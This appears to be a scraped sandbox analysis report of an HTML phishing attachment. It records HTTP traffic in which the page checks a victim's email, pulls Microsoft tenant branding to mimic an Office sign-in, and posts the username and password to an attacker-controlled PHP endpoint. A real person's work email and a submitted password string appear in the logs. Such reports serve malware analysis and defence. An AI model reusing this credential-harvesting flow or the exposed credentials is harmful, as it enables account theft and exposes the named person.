Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:22:09 UTC	579	OUT	POST /google.php HTTP/1.1 Host: ableg.venue.it.com Connection: keep-alive Content-Length: 13 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 Accept: / Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:22:09 UTC	13	OUT	Data Raw: 64 6f 3d 75 73 65 72 2d 63 68 65 63 6b Data Ascii: do=user-check
2025-03-20 15:22:14 UTC	381	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:22:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Cf-Cache-Status: DYNAMIC CF-RAY: 92363414d8b66da2-EWR alt-svc: h3=":443"; ma=86400
2025-03-20 15:22:14 UTC	22	IN	Data Raw: 31 30 0d 0a 7b 22 73 74 61 74 75 73 22 3a 66 61 6c 73 65 7d 0d 0a Data Ascii: 10{"status":false}
2025-03-20 15:22:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:22:10 UTC	665	OUT	GET /dxetjqzbe/image/upload/v1742052868/6059C6BA-9C9F-4199-8218-8895A9F0C3C8_ctielh.png HTTP/1.1 Host: res.cloudinary.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:22:10 UTC	830	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 21873 ETag: "568f3323a159c49c955a6e9e5ce8ac4d" Last-Modified: Sat, 15 Mar 2025 15:34:29 GMT Date: Thu, 20 Mar 2025 15:22:10 GMT Connection: close Cache-Control: public, no-transform, immutable, max-age=2592000 x-request-id: 66832d6d13078dacf529e15646e9e921 Access-Control-Expose-Headers: Content-Length,Content-Disposition,Content-Range,Etag,Server-Timing,Vary,X-Cld-Error,X-Robots-Tag,X-Content-Type-Options Access-Control-Allow-Origin: * Accept-Ranges: bytes Timing-Allow-Origin: * Server: Cloudinary Strict-Transport-Security: max-age=604800 X-Content-Type-Options: nosniff Server-Timing: cld-akam;dur=6;start=2025-03-20T15:22:10.076Z;desc=hit,rtt;dur=96,content-info;desc="width=2016,height=2016,bytes=21873,format=\"png\",o=1,crt=1742052868,ef=(17)"
2025-03-20 15:22:10 UTC	15554	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 e0 00 00 07 e0 08 06 00 00 00 f6 b1 41 ec 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 20 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 30 2d 63 30 36 30 20 36 31 2e 31 33 34 37 37 37 2c 20 32 30 31 30 2f 30 32 2f 31 32 2d 31 37 3a 33 32 3a 30 30 20 20 Data Ascii: PNGIHDRAtEXtSoftwareAdobe ImageReadyqe< iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00
2025-03-20 15:22:10 UTC	6319	IN	Data Raw: 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 Data Ascii: @@<x @@<x @@<x

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:22:14 UTC	392	OUT	GET /google.php HTTP/1.1 Host: ableg.venue.it.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:22:14 UTC	822	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:22:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gGJjJuAHBW41QOp%2FfOH48lEMhLEfqIc92vBxFlXKrSGFvRk6zLWqf8ibUBS4y3s%2Bb65Tmiime0K40Xo8WKsZxb0oH6sT8krnadULjjCTMxOsNR%2BhOffiPbbFbrqyeDcH5Kz%2BLrc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92363431d94ade97-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=100205&min_rtt=99483&rtt_var=21730&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=964&delivery_rate=37443&cwnd=200&unsent_bytes=0&cid=813e0b2c2c23e3a7&ts=446&x=0"
2025-03-20 15:22:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:22:17 UTC	637	OUT	POST /google.php HTTP/1.1 Host: ableg.venue.it.com Connection: keep-alive Content-Length: 40 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:22:17 UTC	40	OUT	Data Raw: 64 6f 3d 63 68 65 63 6b 26 65 6d 61 69 6c 3d 6a 6f 68 6e 2e 6d 6f 6f 72 65 72 40 64 74 65 65 6e 65 72 67 79 2e 63 6f 6d Data Ascii: do=check&email=john.moorer@dteenergy.com
2025-03-20 15:22:18 UTC	931	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:22:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YvN7SHD2MfV7n2gxhAYBu%2BHifgoioaKqRQXdTccth29EycPJ0bxl1K9yw%2Bq5hU1usajypUgkwNGGO0stkAcKTHU7xJKVS7YUSwb1K%2BvkDEQ1ZgjSV%2BrNgDzp9Mq4Ou%2Fpxpji8jI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 923634440fbd7d18-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=99443&min_rtt=99202&rtt_var=21292&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1271&delivery_rate=37274&cwnd=237&unsent_bytes=0&cid=f43742aad44cf17d&ts=1019&x=0"
2025-03-20 15:22:18 UTC	238	IN	Data Raw: 65 38 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 62 61 6e 6e 65 72 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 69 6d 61 67 65 73 2e 6e 65 74 5c 2f 64 62 64 35 61 32 64 64 2d 66 67 6e 6c 62 36 6f 65 72 34 75 62 6e 39 65 65 77 32 6b 32 6c 33 78 71 75 73 69 62 74 6e 77 6e 68 67 35 78 61 35 67 6e 31 68 71 5c 2f 6c 6f 67 69 6e 74 65 6e 61 6e 74 62 72 61 6e 64 69 6e 67 5c 2f 30 5c 2f 62 61 6e 6e 65 72 6c 6f 67 6f 3f 74 73 3d 36 33 38 34 37 37 34 32 39 36 35 37 33 37 30 36 35 33 22 2c 22 62 61 63 6b 67 72 6f 75 6e 64 22 3a 6e 75 6c 6c 2c 22 66 65 64 65 72 61 74 69 6f 6e 4c 6f 67 69 6e 22 3a 22 22 2c 22 74 79 70 65 22 3a 22 6f 66 66 69 63 65 22 7d 0d 0a Data Ascii: e8{"status":"success","banner":"https:\/\/aadcdn.msauthimages.net\/dbd5a2dd-fgnlb6oer4ubn9eew2k2l3xqusibtnwnhg5xa5gn1hq\/logintenantbranding\/0\/bannerlogo?ts=638477429657370653","background":null,"federationLogin":"","type":"office"}
2025-03-20 15:22:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:22:17 UTC	660	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:22:17 UTC	612	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Last-Modified: Wed, 15 Jan 2025 17:54:26 GMT ETag: "0x8DD358DA72AAF33" x-ms-request-id: d9dbeb0f-b01e-00e4-2876-67c4b2000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Encoding,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=26015459 Date: Thu, 20 Mar 2025 15:22:17 GMT Content-Length: 1864 Connection: close Akamai-GRN: 0.8904d217.1742484137.4a9b3e8
2025-03-20 15:22:17 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:22:18 UTC	392	OUT	GET /google.php HTTP/1.1 Host: ableg.venue.it.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:22:19 UTC	275	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:22:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare X-Powered-By: PHP/8.0.30 Cf-Cache-Status: DYNAMIC CF-RAY: 9236344c4ce8de98-EWR alt-svc: h3=":443"; ma=86400
2025-03-20 15:22:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:22:18 UTC	695	OUT	GET /dbd5a2dd-fgnlb6oer4ubn9eew2k2l3xqusibtnwnhg5xa5gn1hq/logintenantbranding/0/bannerlogo?ts=638477429657370653 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:22:19 UTC	710	IN	HTTP/1.1 200 OK Content-Length: 3184 Content-Type: image/* Content-MD5: fo/OfAziFGDWVqPyQuDmNQ== Last-Modified: Wed, 03 Apr 2024 12:09:26 GMT ETag: 0x8DC53D6E8372BCD x-ms-request-id: 2c2f2784-b01e-0009-0666-670631000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=63287 Date: Thu, 20 Mar 2025 15:22:18 GMT Connection: close X-Content-Type-Options: nosniff Akamai-GRN: 0.9f04d217.1742484138.9387aa7
2025-03-20 15:22:19 UTC	3184	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5d 00 00 00 24 08 06 00 00 00 eb 5c 36 ca 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 06 00 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 30 20 37 39 2e 31 36 30 34 35 31 2c 20 32 30 31 37 2f 30 35 2f Data Ascii: PNGIHDR]$\6sRGBgAMAapHYs+iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:22:28 UTC	637	OUT	POST /google.php HTTP/1.1 Host: ableg.venue.it.com Connection: keep-alive Content-Length: 65 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:22:28 UTC	65	OUT	Data Raw: 64 6f 3d 6c 6f 67 69 6e 26 75 73 65 72 3d 6a 6f 68 6e 2e 6d 6f 6f 72 65 72 40 64 74 65 65 6e 65 72 67 79 2e 63 6f 6d 26 70 61 73 73 3d 53 47 73 36 54 30 41 6c 4e 30 52 6b 52 7a 63 6c 4d 6a 56 78 Data Ascii: do=login&user=john.moorer@dteenergy.com&pass=SGs6T0AlN0RkRzclMjVx
2025-03-20 15:22:30 UTC	925	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:22:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rPKpNlb2R8Y81ZwN9TQFa0fnIJZF5HaoiGQliD7V79hP0LBu86exNmRXgLtxk4Z%2F3x7I2UOnjkcIgaAPLMFhNGZlBgDsyb8zTdllQMXMdKpJLS3YNriKTZhk2gdQb3dwWLSlt%2Bk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 923634878ab48c45-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=97352&min_rtt=96876&rtt_var=20849&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1296&delivery_rate=38400&cwnd=209&unsent_bytes=0&cid=f9f05113e6ceafee&ts=2759&x=0"
2025-03-20 15:22:30 UTC	74	IN	Data Raw: 34 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 59 6f 75 72 20 61 63 63 6f 75 6e 74 20 6f 72 20 70 61 73 73 77 6f 72 64 20 69 73 20 69 6e 63 6f 72 72 65 63 74 22 7d 0d 0a Data Ascii: 44{"status":"error","message":"Your account or password is incorrect"}
2025-03-20 15:22:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:22:31 UTC	392	OUT	GET /google.php HTTP/1.1 Host: ableg.venue.it.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:22:31 UTC	275	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:22:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare X-Powered-By: PHP/8.0.30 Cf-Cache-Status: DYNAMIC CF-RAY: 9236349a1f55f791-EWR alt-svc: h3=":443"; ma=86400
2025-03-20 15:22:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:22:40 UTC	637	OUT	POST /google.php HTTP/1.1 Host: ableg.venue.it.com Connection: keep-alive Content-Length: 45 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:22:40 UTC	45	OUT	Data Raw: 64 6f 3d 6c 6f 67 69 6e 26 75 73 65 72 3d 6a 6f 68 6e 2e 6d 6f 6f 72 65 72 40 64 74 65 65 6e 65 72 67 79 2e 63 6f 6d 26 70 61 73 73 3d Data Ascii: do=login&user=john.moorer@dteenergy.com&pass=
2025-03-20 15:22:40 UTC	932	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:22:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nIRCfyzn9%2BSnzHsFYTySqsIvAqWMbn6VNpy5UfzhxXyJagjF2MkLwLqAOv7%2BScYpFDDP1j17%2Fmv6YEPslBLMdkOWVk%2B%2FwAvWtcnxYurlJWzqwUo1MbobuewWPoJ00ODTSGQSvZA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 923634d3fb0d9cc1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=109157&min_rtt=107899&rtt_var=24083&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1276&delivery_rate=34529&cwnd=238&unsent_bytes=0&cid=3af04599646b433d&ts=666&x=0"
2025-03-20 15:22:40 UTC	67	IN	Data Raw: 33 64 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 70 61 73 73 77 6f 72 64 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 79 6f 75 72 20 70 61 73 73 77 6f 72 64 2e 22 7d 0d 0a Data Ascii: 3d{"status":"password","message":"Please enter your password."}
2025-03-20 15:22:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:22:41 UTC	392	OUT	GET /google.php HTTP/1.1 Host: ableg.venue.it.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:22:41 UTC	823	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:22:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RS%2FvF7VE5M9167sL48%2FoJosWsU0ECi3zKerXRYRa3G8XDQOl7iJgg5UAQeAw2ZZfuvBQWtcQ8j85QCD%2FQEPIAK6VUWkW55DIN7K0uIbkCttpkfYmzwlGmL2B77nlFa%2Fs339vGag%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 923634d98d20381d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=104894&min_rtt=104467&rtt_var=22331&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2828&recv_bytes=964&delivery_rate=35585&cwnd=234&unsent_bytes=0&cid=d38d8d70cfe396a3&ts=621&x=0"
2025-03-20 15:22:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	1
Start time:	11:21:51
Start date:	20/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff617090000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report #U25baPlay_VM-Now(John.moorer)ATTT0003.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Static File Info

General

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

Windows Analysis Report
#U25baPlay_VM-Now(John.moorer)ATTT0003.html

Target ID:	3
Start time:	11:21:57
Start date:	20/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
